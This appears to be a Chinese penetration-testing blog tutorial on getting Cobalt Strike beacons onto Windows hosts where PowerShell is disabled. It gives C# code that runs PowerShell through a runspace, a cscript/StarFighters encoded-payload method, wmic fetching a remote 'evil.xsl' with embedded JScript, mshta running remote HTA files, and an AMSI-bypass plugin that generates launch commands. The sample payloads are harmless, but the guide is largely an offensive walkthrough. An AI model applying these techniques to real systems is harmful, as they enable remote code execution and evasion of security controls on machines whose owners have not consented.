内网渗透学习|利用mshta与wmic上线cs

2024-11-15 18 0

1、powershell被禁用执行ps文件上线cs

1.1、适用场景

上线ps文件后,powershell被禁用

1.2、利用条件

csc.exe:windows10自带,开启方式参考:https://blog.csdn.net/qq_36090938/article/details/100513156。为了使用方便,可以设置环境变量。

1.3、使用过程

1、保存以下代码为*.cs文件。

using System.Collections.ObjectModel; 
using System.Management.Automation; 
using System.Management.Automation.Runspaces; 
using System.IO;
using System;
using System.Text;
namespace PSLess
{
 class PSLess
 {
   static void Main(string[] args)
   {
     if(args.Length ==0)
         Environment.Exit(1); //终止此进程并返回给操作系统错误代码1。
     string script=LoadScript(args[0]);//接收命令行的第一个参数。并传输到LoadScript函数中,将函数的返回值保存到script。
     string s=RunScript(script);//执行script脚本并将返回值赋给s。
     Console.WriteLine(s);//输出命令结果s。
   }
 private static string LoadScript(string filename) 
 { 
   string buffer ="";
   try {
    buffer = File.ReadAllText(filename);//打开文件并读取文件中的所有文本并存储到buffer中然后关闭文件。
    }
   catch (Exception e) //catch块做异常处理
   { 
     Console.WriteLine(e.Message);
     Environment.Exit(2);//终止进程并抛出错误代码2给操作系统。
    }
  return buffer;//将buffer的值作为此函数的返回值。
 }
 private static string RunScript(string script) 
 { 
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();//创建一个runspace类,可以通过这个类来解析powershell脚本
    MyRunspace.Open();//执行powershell脚本前必须执行此函数
    Pipeline MyPipeline = MyRunspace.CreatePipeline(); //创建可以用来执行命令的管道类
    MyPipeline.Commands.AddScript(script);//添加一个新的脚本命令
    MyPipeline.Commands.Add("Out-String");//将执行命令后返回的对象转换为字符串数组,不加这一行的话返回值有时候会很奇怪,例如ls命令的返回值会有变化。
    Collection<PSObject> outputs = MyPipeline.Invoke();//执行命令,然后将结果转化为对象数组并返回
    MyRunspace.Close();//关闭runspace
   StringBuilder sb = new StringBuilder(); //这个类可以存储可变的字符串
   foreach (PSObject pobject in outputs) //遍历outputs
   { 
       sb.AppendLine(pobject.ToString()); //将outputs里面所有的值转化为字符串类型并添加到sb对象的结尾。
   }
    return sb.ToString();//将sb里面的值转化为string类型并作为函数的返回值。 
  }
 }
}

2、找到System.Management.Automation.dll文件位置。默认位置:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e3

内网渗透学习|利用mshta与wmic上线cs插图

3、找到*.cs的文件夹,执行命令:

csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:1.exe 1.cs

内网渗透学习|利用mshta与wmic上线cs插图1

内网渗透学习|利用mshta与wmic上线cs插图2

4、创建*.ps1文件,并编辑内容如下:

内网渗透学习|利用mshta与wmic上线cs插图3

内网渗透学习|利用mshta与wmic上线cs插图4

2、cscript执行命令上线cs

2.1、适用场景

目标机器拥有cscript命令执行权限。

2.2、利用条件

StarFighters、cscript(windows自带)、base64加密方法

2.3、使用过程

1、访问:https://github.com/Cn33liz/StarFighters下载StarFighters文件。

内网渗透学习|利用mshta与wmic上线cs插图5

2、创建ps文件,对需要执行的命令进行base64编码。加密代码如下:

$code = '所需执行的命令'
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded

3、执行ps命令,获取编码值,如下:

内网渗透学习|利用mshta与wmic上线cs插图6

4、修改StarFighter.js中的EncodedPayload参数,把编码值填入。

内网渗透学习|利用mshta与wmic上线cs插图7

5、使用cscript执行文件,即可执行命令。但是该文件会被部分杀软识别。

内网渗透学习|利用mshta与wmic上线cs插图8

内网渗透学习|利用mshta与wmic上线cs插图9

3、vmic上线cs

3.1、适用场景

目标允许出网,且可执行vmic命令。

3.2、利用条件

vmic、CS、AMSI_bypass-master

3.3、使用过程

1、wmic可以配合xsl文件执行任意命令,以下分别对应本地、远程执行的方式。

#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"

测试文档*.xsl

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>

2、测试结果

本地:

内网渗透学习|利用mshta与wmic上线cs插图10

远程:

内网渗透学习|利用mshta与wmic上线cs插图11

3、cs插件AMSI_bypass:https://github.com/Ridter/AMSI_bypass,下载插件后,添加至cs客户端。

内网渗透学习|利用mshta与wmic上线cs插图12

4、点击攻击——AMSI bypass即可进入操作界面。

内网渗透学习|利用mshta与wmic上线cs插图13

5、无需点击hta,点击开始即可弹出攻击命令。

内网渗透学习|利用mshta与wmic上线cs插图14

内网渗透学习|利用mshta与wmic上线cs插图15

6、执行命令,即可上线。

内网渗透学习|利用mshta与wmic上线cs插图16

4、mshta上线cs

4.1、适用场景

mshta命令可以执行。

4.2、利用条件

mshta、cs、AMSI_bypass

4.3、使用过程

1、mshta执行命令也分为本地、远程。

#本地命令
mshta %真实路径%/*.hta
#远程命令
mshta http://xxxx/1.hta

测试代码:

<html>
<head>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c ping www.baidu.com"
End Sub
</script>
</head>
<body>
<button onclick="RunProgram">Run Program</button> <p>
</body>
</html>

2、测试情况如下:

本地:

内网渗透学习|利用mshta与wmic上线cs插图17

远程:

内网渗透学习|利用mshta与wmic上线cs插图18

3、使用攻击——AMSI bypass进入攻击模块,勾选hta选项。点击确定即可弹出攻击命令。

内网渗透学习|利用mshta与wmic上线cs插图19

内网渗透学习|利用mshta与wmic上线cs插图20

4、在服务器执行命令即可上线。

内网渗透学习|利用mshta与wmic上线cs插图21

参考链接:

https://shanfenglan.blog.csdn.net/article/details/108529739

https://evi1cg.me/archives/AMSI_bypass.html

https://www.cnblogs.com/pt007/p/11857274.html

https://blog.csdn.net/weixin_30368405/article/details/114492164

https://blog.csdn.net/qq_27828281/article/details/103628411

https://www.cnblogs.com/magic-zero/p/8615624.html

https://www.cnblogs.com/linuxsec/articles/10589183.html


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论